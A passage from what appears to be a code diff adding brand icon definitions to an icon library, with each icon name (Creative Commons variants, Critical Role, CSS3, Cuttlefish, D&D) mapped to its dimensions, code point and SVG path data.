108.5h-19.9v-79.7l19.4-.1c3.8 0 35-2.1 35 39.9 0 24.6-10.5 39.9-34.5 39.9zM203.7 186h-68.2v137.3h34.6V279h27c54.1 0 57.1-37.5 57.1-46.5 0-31-16.8-46.5-50.5-46.5zm-4.9 67.3h-29.2v-41.6h28.3c30.9 0 28.8 41.6.9 41.6z"], + "creative-commons-remix": [496, 512, [], "f4ee", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm161.7 207.7l4.9 2.2v70c-7.2 3.6-63.4 27.5-67.3 28.8-6.5-1.8-113.7-46.8-137.3-56.2l-64.2 26.6-63.3-27.5v-63.8l59.3-24.8c-.7-.7-.4 5-.4-70.4l67.3-29.7L361 178.5v61.6l49.1 20.3zm-70.4 81.5v-43.8h-.4v-1.8l-113.8-46.5V295l113.8 46.9v-.4l.4.4zm7.5-57.6l39.9-16.4-36.8-15.5-39 16.4 35.9 15.5zm52.3 38.1v-43L355.2 298v43.4l44.3-19z"], + "creative-commons-sa": [496, 512, [], "f4ef", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zM137.7 221c13-83.9 80.5-95.7 108.9-95.7 99.8 0 127.5 82.5 127.5 134.2 0 63.6-41 132.9-128.9 132.9-38.9 0-99.1-20-109.4-97h62.5c1.5 30.1 19.6 45.2 54.5 45.2 23.3 0 58-18.2 58-82.8 0-82.5-49.1-80.6-56.7-80.6-33.1 0-51.7 14.6-55.8 43.8h18.2l-49.2 49.2-49-49.2h19.4z"], + "creative-commons-sampling": [496, 512, [], "f4f0", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm3.6 53.2c2.8-.3 11.5 1 11.5 11.5l6.6 107.2 4.9-59.3c0-6 4.7-10.6 10.6-10.6 5.9 0 10.6 4.7 10.6 10.6 0 2.5-.5-5.7 5.7 81.5l5.8-64.2c.3-2.9 2.9-9.3 10.2-9.3 3.8 0 9.9 2.3 10.6 8.9l11.5 96.5 5.3-12.8c1.8-4.4 5.2-6.6 10.2-6.6h58v21.3h-50.9l-18.2 44.3c-3.9 9.9-19.5 9.1-20.8-3.1l-4-31.9-7.5 92.6c-.3 3-3 9.3-10.2 9.3-3 0-9.8-2.1-10.6-9.3 0-1.9.6 5.8-6.2-77.9l-5.3 72.2c-1.1 4.8-4.8 9.3-10.6 9.3-2.9 0-9.8-2-10.6-9.3 0-1.9.5 6.7-5.8-87.7l-5.8 94.8c0 6.3-3.6 12.4-10.6 12.4-5.2 0-10.6-4.1-10.6-12l-5.8-87.7c-5.8 92.5-5.3 84-5.3 85.9-1.1 4.8-4.8 9.3-10.6 9.3-3 0-9.8-2.1-10.6-9.3 0-.7-.4-1.1-.4-2.6l-6.2-88.6L182 348c-.7 6.5-6.7 9.3-10.6 9.3-5.8 0-9.6-4.1-10.6-8.9L149.7 272c-2 4-3.5 8.4-11.1 8.4H87.2v-21.3H132l13.7-27.9c4.4-9.9 18.2-7.2 19.9 2.7l3.1 20.4 8.4-97.9c0-6 4.8-10.6 10.6-10.6.5 0 10.6-.2 10.6 12.4l4.9 69.1 6.6-92.6c0-10.1 9.5-10.6 10.2-10.6.6 0 10.6.7 10.6 10.6l5.3 80.6 6.2-97.9c.1-1.1-.6-10.3 9.9-11.5z"], + "creative-commons-sampling-plus": [496, 512, [], "f4f1", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm107 205.6c-4.7 0-9 2.8-10.7 7.2l-4 9.5-11-92.8c-1.7-13.9-22-13.4-23.1.4l-4.3 51.4-5.2-68.8c-1.1-14.3-22.1-14.2-23.2 0l-3.5 44.9-5.9-94.3c-.9-14.5-22.3-14.4-23.2 0l-5.1 83.7-4.3-66.3c-.9-14.4-22.2-14.4-23.2 0l-5.3 80.2-4.1-57c-1.1-14.3-22-14.3-23.2-.2l-7.7 89.8-1.8-12.2c-1.7-11.4-17.1-13.6-22-3.3l-13.2 27.7H87.5v23.2h51.3c4.4 0 8.4-2.5 10.4-6.4l10.7 73.1c2 13.5 21.9 13 23.1-.7l3.8-43.6 5.7 78.3c1.1 14.4 22.3 14.2 23.2-.1l4.6-70.4 4.8 73.3c.9 14.4 22.3 14.4 23.2-.1l4.9-80.5 4.5 71.8c.9 14.3 22.1 14.5 23.2.2l4.6-58.6 4.9 64.4c1.1 14.3 22 14.2 23.1.1l6.8-83 2.7 22.3c1.4 11.8 17.7 14.1 22.3 3.1l18-43.4h50.5V258l-58.4.3zm-78 5.2h-21.9v21.9c0 4.1-3.3 7.5-7.5 7.5-4.1 0-7.5-3.3-7.5-7.5v-21.9h-21.9c-4.1 0-7.5-3.3-7.5-7.5 0-4.1 3.4-7.5 7.5-7.5h21.9v-21.9c0-4.1 3.4-7.5 7.5-7.5s7.5 3.3 7.5 7.5v21.9h21.9c4.1 0 7.5 3.3 7.5 7.5 0 4.1-3.4 7.5-7.5 7.5z"], + "creative-commons-share": [496, 512, [], "f4f2", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm101 132.4c7.8 0 13.7 6.1 13.7 13.7v182.5c0 7.7-6.1 13.7-13.7 13.7H214.3c-7.7 0-13.7-6-13.7-13.7v-54h-54c-7.8 0-13.7-6-13.7-13.7V131.1c0-8.2 6.6-12.7 12.4-13.7h136.4c7.7 0 13.7 6 13.7 13.7v54h54zM159.9 300.3h40.7V198.9c0-7.4 5.8-12.6 12-13.7h55.8v-40.3H159.9v155.4zm176.2-88.1H227.6v155.4h108.5V212.2z"], + "creative-commons-zero": [496, 512, [], "f4f3", "M247.6 8C389.4 8 496 118.1 496 256c0 147.1-118.5 248-248.4 248C113.6 504 0 394.5 0 256 0 123.1 104.7 8 247.6 8zm.8 44.7C130.2 52.7 44.7 150.6 44.7 256c0 109.8 91.2 202.8 203.7 202.8 103.2 0 202.8-81.1 202.8-202.8.1-113.8-90.2-203.3-202.8-203.3zm-.4 60.5c-81.9 0-102.5 77.3-102.5 142.8 0 65.5 20.6 142.8 102.5 142.8S350.5 321.5 350.5 256c0-65.5-20.6-142.8-102.5-142.8zm0 53.9c3.3 0 6.4.5 9.2 1.2 5.9 5.1 8.8 12.1 3.1 21.9l-54.5 100.2c-1.7-12.7-1.9-25.1-1.9-34.4 0-28.8 2-88.9 44.1-88.9zm40.8 46.2c2.9 15.4 3.3 31.4 3.3 42.7 0 28.9-2 88.9-44.1 88.9-13.5 0-32.6-7.7-20.1-26.4l60.9-105.2z"], + "critical-role": [448, 512, [], "f6c9", "M225.82 0c.26.15 216.57 124.51 217.12 124.72 3 1.18 3.7 3.46 3.7 6.56q-.11 125.17 0 250.36a5.88 5.88 0 0 1-3.38 5.78c-21.37 12-207.86 118.29-218.93 124.58h-3C142 466.34 3.08 386.56 2.93 386.48a3.29 3.29 0 0 1-1.88-3.24c0-.87 0-225.94-.05-253.1a5 5 0 0 1 2.93-4.93C27.19 112.11 213.2 6 224.07 0zM215.4 20.42l-.22-.16Q118.06 75.55 21 130.87c0 .12.08.23.13.35l30.86 11.64c-7.71 6-8.32 6-10.65 5.13-.1 0-24.17-9.28-26.8-10v230.43c.88-1.41 64.07-110.91 64.13-111 1.62-2.82 3-1.92 9.12-1.52 1.4.09 1.48.22.78 1.42-41.19 71.33-36.4 63-67.48 116.94-.81 1.4-.61 1.13 1.25 1.13h186.5c1.44 0 1.69-.23 1.7-1.64v-8.88c0-1.34 2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z"], + "css3": [512, 512, [], "f13c", "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z"], + "css3-alt": [384, 512, [], "f38b", "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z"], + "cuttlefish": [440, 512, [], "f38c", "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z"], + "d-and-d": [576, 512, [], "f38d", "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z"], + "d-and-d-beyond": [640, 512, [], "f6ca", "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 